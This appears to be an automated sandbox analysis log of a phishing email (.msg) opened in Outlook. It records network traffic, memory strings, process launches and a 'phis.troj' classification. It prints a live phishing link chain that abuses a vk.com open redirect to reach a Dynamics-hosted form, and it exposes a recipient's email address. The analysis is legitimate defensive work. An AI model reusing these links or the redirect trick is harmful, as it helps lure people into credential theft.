Source: global traffic	HTTP traffic detected: GET /away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1Host: vk.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636

Source: global traffic	DNS traffic detected: DNS query: nam10.safelinks.protection.outlook.com
Source: global traffic	DNS traffic detected: DNS query: vk.com
Source: global traffic	DNS traffic detected: DNS query: away.vk.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: assets-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: public-usa.mkt.dynamics.com
Source: global traffic	DNS traffic detected: DNS query: mailvlk.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4722Host: login.live.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 13:42:56 GMTContent-Type: text/htmlContent-Length: 548Connection: closeStrict-Transport-Security: max-age=2592000; preloadx-azure-ref: 20240424T134256Z-168bb8d798bbqgrcawqpfu2sb800000005t000000000fahtx-fd-int-roxy-purgeid: 69112800X-Cache: TCP_MISS
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 24 Apr 2024 13:42:59 GMTContent-Length: 0Connection: closex-ms-trace-id: e8e9550c23fbd946b636379dc5cdd8b5Strict-Transport-Security: max-age=2592000; preload
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 24 Apr 2024 13:43:06 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16512Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: B4FhJ7gQDkyc6LnMgA6zBeWL6qUmkh7u9/DQdr10vSrNUGakFHX0Ixa8eUkxBeWSRZEqqiUSFrcSIrcOvniP5MBnPCZCoTqkkrW3YqXlCfXQMZL2NcuXMotqPGPb3OCZWJ2W+IhDnzCYWeIMb+RG9w==$mcGEYlxit0PSw7clGuHchw==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 24 Apr 2024 13:43:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16710Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: TLRIbIeO3H8sdZ0BB/PwH/aZb8tBqBmzNWpjLoNaM5K+XwHYW118kCeJT7xLlyNd14a49oXQKLvCSHlZbxX1Rodtg5qrmuc6cwGaY3vAom6xsy7SwM5ky8YcHUN92bw85mSQbtceRYglHOarBqcp/w==$DSKBgHV6XAcH1QQsoxteWw==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 24 Apr 2024 13:43:10 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16710Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: 4inhO4jK2Tw6e9vH+K2JfvJsNVIr43xVtIyvA2sQwN6WwjBsGKB9zrl/msMeSKD6bob69VdfGmIJ6cQkRLceZKnTjJeJ7kqeP19Ml/Nxg70EJKAeKe0BUPHZQXli4J5zdR5/fsKusOBgYtQ7K59r1w==$2/j6EI2G5QBb6r7+83KMTw==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 24 Apr 2024 13:43:20 GMTContent-Type: text/html; charset=UTF-8Content-Length: 16774Connection: closeAccept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UACross-Origin-Embedder-Policy: require-corpCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originOrigin-Agent-Cluster: ?1Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()Referrer-Policy: same-originX-Frame-Options: SAMEORIGINcf-mitigated: challengecf-chl-out: 4+67oQNUoYmx32lnufGaWmHayWFqBe/5loOAcQDjm9zOcIcf/rQC12OYsPmOzXuC4CfGNu8Wit3zv2x1mCPJYWRR/OT8MksBYWAksiAGXiFkofMAtekKG1cdb+hsvRFnwr0IoLU7oFg9poZPJMejvA==$L5RIUDG8VcQBRgRttVW6Ww==Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 13:43:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: BYPASSReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lmpoupm%2F8tfpTwq%2BIK1WQuAhZv%2FS4dUpCIIb8jJZKgMMYJECRZO9xoxbNHe5czNKmoToVc6kUnngDb%2FtAg6Kzs0zd1pa9t7fpI86LlGAK%2FNXH0AmJJIuTEGNdiXWIA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 879685a489922ac5-LAXalt-svc: h3=":443"; ma=86400

Source: FW_ FHAS Inc_ - Private and Confidential.msg	String found in binary or memory: http://schema.org
Source: ~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp.0.dr	String found in binary or memory: http://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/d
Source: FW_ FHAS Inc_ - Private and Confidential.msg, ~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp.0.dr	String found in binary or memory: https://aka.ms/LearnAboutSenderIdentification
Source: chromecache_134.7.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/forms/beb26e1
Source: chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ed5a3d
Source: chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ee5a3d
Source: chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	String found in binary or memory: https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/images/ef5a3d
Source: chromecache_134.7.dr	String found in binary or memory: https://cxppusa1formui01cdnsa01-endpoint.azureedge.net/usa/FormLoader/FormLoader.bundle.js
Source: chromecache_94.7.dr, chromecache_125.7.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_94.7.dr, chromecache_125.7.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_94.7.dr, chromecache_125.7.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_108.7.dr, chromecache_121.7.dr, chromecache_127.7.dr	String found in binary or memory: https://mailvlk.com
Source: FW_ FHAS Inc_ - Private and Confidential.msg, ~WRS{9C988B96-81C5-4545-9CFC-FA09A30582A7}.tmp.0.dr	String found in binary or memory: https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2
Source: chromecache_134.7.dr	String found in binary or memory: https://public-usa.mkt.dynamics.com/api/v1.0/orgs/97791573-a900-ef11-9f85-00224828202e/landingpagefo

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 20.190.190.195:443 -> 192.168.2.17:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.17:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.202.57.177:443 -> 192.168.2.17:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.114.59.183:443 -> 192.168.2.17:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.190.195:443 -> 192.168.2.17:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.21.200:443 -> 192.168.2.17:49793 version: TLS 1.2

Source: classification engine

Classification label: mal64.phis.troj.winMSG@24/90@32/11

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20240424T1542330214-3932.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\Desktop\FW_ FHAS Inc_ - Private and Confidential.msg"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "AB733506-5643-415B-A822-6CA743C451B8" "60335182-0ED6-44FC-AF34-5EA391EA0DB6" "3932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam10.safelinks.protection.outlook.com/?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2032,i,8312414958916213357,7330150477542557016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "AB733506-5643-415B-A822-6CA743C451B8" "60335182-0ED6-44FC-AF34-5EA391EA0DB6" "3932" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
